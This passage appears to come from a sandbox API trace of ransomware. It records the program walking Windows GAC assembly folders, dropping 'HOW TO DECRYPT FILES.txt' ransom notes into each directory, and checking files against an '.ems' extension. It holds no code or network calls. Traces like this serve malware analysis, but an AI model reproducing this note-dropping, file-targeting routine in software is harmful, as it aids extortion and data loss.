cFileName="Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config", cAlternateFileName="POLICY~1.CON")) returned 1 [0101.206] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.206] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config") returned -1 [0101.206] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config") returned -1 [0101.206] lstrcmpiA (lpString1="", lpString2="Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config") returned -1 [0101.206] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\*.*") returned="*.*" [0101.206] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\" [0101.206] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\") returned="" [0101.206] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0101.206] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.visio.saveasweb\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0xffffffff [0101.206] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.visio.saveasweb\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0101.209] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0101.209] CloseHandle (hObject=0x90) returned 1 [0101.210] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config" [0101.210] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config", pszSpec="*.ems") returned 0 [0101.210] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c3b460, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c3b460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c3b460, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2d98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb.dll", cAlternateFileName="POLICY~1.DLL")) returned 1 [0101.210] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.210] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb.dll") returned -1 [0101.210] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb.dll") returned -1 [0101.211] lstrcmpiA (lpString1="", lpString2="Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb.dll") returned -1 [0101.211] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config") returned="Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config" [0101.211] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\" [0101.211] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\") returned="" [0101.211] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0101.211] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.visio.saveasweb\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0x20 [0101.211] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb.dll" [0101.211] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb.dll", pszSpec="*.ems") returned 0 [0101.211] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c3b460, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c3b460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c3b460, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2d98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb.dll", cAlternateFileName="POLICY~1.DLL")) returned 0 [0101.211] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.211] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x84c3b460, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x9af5a680, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9af5a680, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 0 [0101.211] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.211] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9af5a680, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x9af5a680, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9af5a680, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6c6c642e, dwReserved1=0x676900, cFileName="Policy.12.0.Microsoft.Office.Interop.VisOcx", cAlternateFileName="POLICY~4.VIS")) returned 1 [0101.213] lstrcmpA (lpString1=".", lpString2="Policy.12.0.Microsoft.Office.Interop.VisOcx") returned -1 [0101.213] lstrcmpA (lpString1="..", lpString2="Policy.12.0.Microsoft.Office.Interop.VisOcx") returned -1 [0101.213] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.213] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Policy.12.0.Microsoft.Office.Interop.VisOcx" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.VisOcx") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.VisOcx" [0101.213] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.VisOcx\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9af5a680, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x9af5a680, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9af5a680, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.214] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.214] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9af5a680, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x9af5a680, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9af5a680, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.214] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.214] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.214] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85339500, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x9af5a680, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9af5a680, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 1 [0101.214] lstrcmpA (lpString1=".", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0101.214] lstrcmpA (lpString1="..", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0101.214] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.VisOcx\\*.*") returned="*.*" [0101.214] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.VisOcx\\", lpString2="14.0.0.0__71e9bce111e9429c" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c" [0101.214] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85339500, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x9af5a680, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9af5a680, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.218] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.218] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85339500, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x9af5a680, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9af5a680, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.218] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.218] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.218] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85339500, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x85339500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x85339500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.Interop.VisOcx.config", cAlternateFileName="POLICY~1.CON")) returned 1 [0101.218] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.218] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.VisOcx.config") returned -1 [0101.218] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.VisOcx.config") returned -1 [0101.218] lstrcmpiA (lpString1="", lpString2="Policy.12.0.Microsoft.Office.Interop.VisOcx.config") returned -1 [0101.218] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\*.*") returned="*.*" [0101.218] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\" [0101.218] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\") returned="" [0101.218] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0101.219] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.visocx\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0xffffffff [0101.219] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.visocx\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0101.222] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0101.222] CloseHandle (hObject=0x90) returned 1 [0101.222] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.12.0.Microsoft.Office.Interop.VisOcx.config" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.VisOcx.config") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.VisOcx.config" [0101.222] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.ems") returned 0 [0101.222] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85339500, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x85339500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x85339500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.Interop.VisOcx.dll", cAlternateFileName="POLICY~1.DLL")) returned 1 [0101.222] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.222] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.VisOcx.dll") returned -1 [0101.222] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.VisOcx.dll") returned -1 [0101.222] lstrcmpiA (lpString1="", lpString2="Policy.12.0.Microsoft.Office.Interop.VisOcx.dll") returned -1 [0101.222] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.VisOcx.config") returned="Policy.12.0.Microsoft.Office.Interop.VisOcx.config" [0101.222] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\" [0101.223] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\") returned="" [0101.223] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0101.223] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.visocx\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0x20 [0101.223] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.12.0.Microsoft.Office.Interop.VisOcx.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.VisOcx.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.VisOcx.dll" [0101.223] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.ems") returned 0 [0101.223] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85339500, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x85339500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x85339500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.Interop.VisOcx.dll", cAlternateFileName="POLICY~1.DLL")) returned 0 [0101.223] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.223] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85339500, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x9af5a680, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9af5a680, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 0 [0101.223] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.224] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6cfec70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6cfec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6cfec70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f0050, dwReserved1=0x69006c, cFileName="Policy.12.0.Microsoft.Office.Interop.Word", cAlternateFileName="POLICY~2.WOR")) returned 1 [0101.224] lstrcmpA (lpString1=".", lpString2="Policy.12.0.Microsoft.Office.Interop.Word") returned -1 [0101.224] lstrcmpA (lpString1="..", lpString2="Policy.12.0.Microsoft.Office.Interop.Word") returned -1 [0101.224] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.224] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Policy.12.0.Microsoft.Office.Interop.Word" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Word") 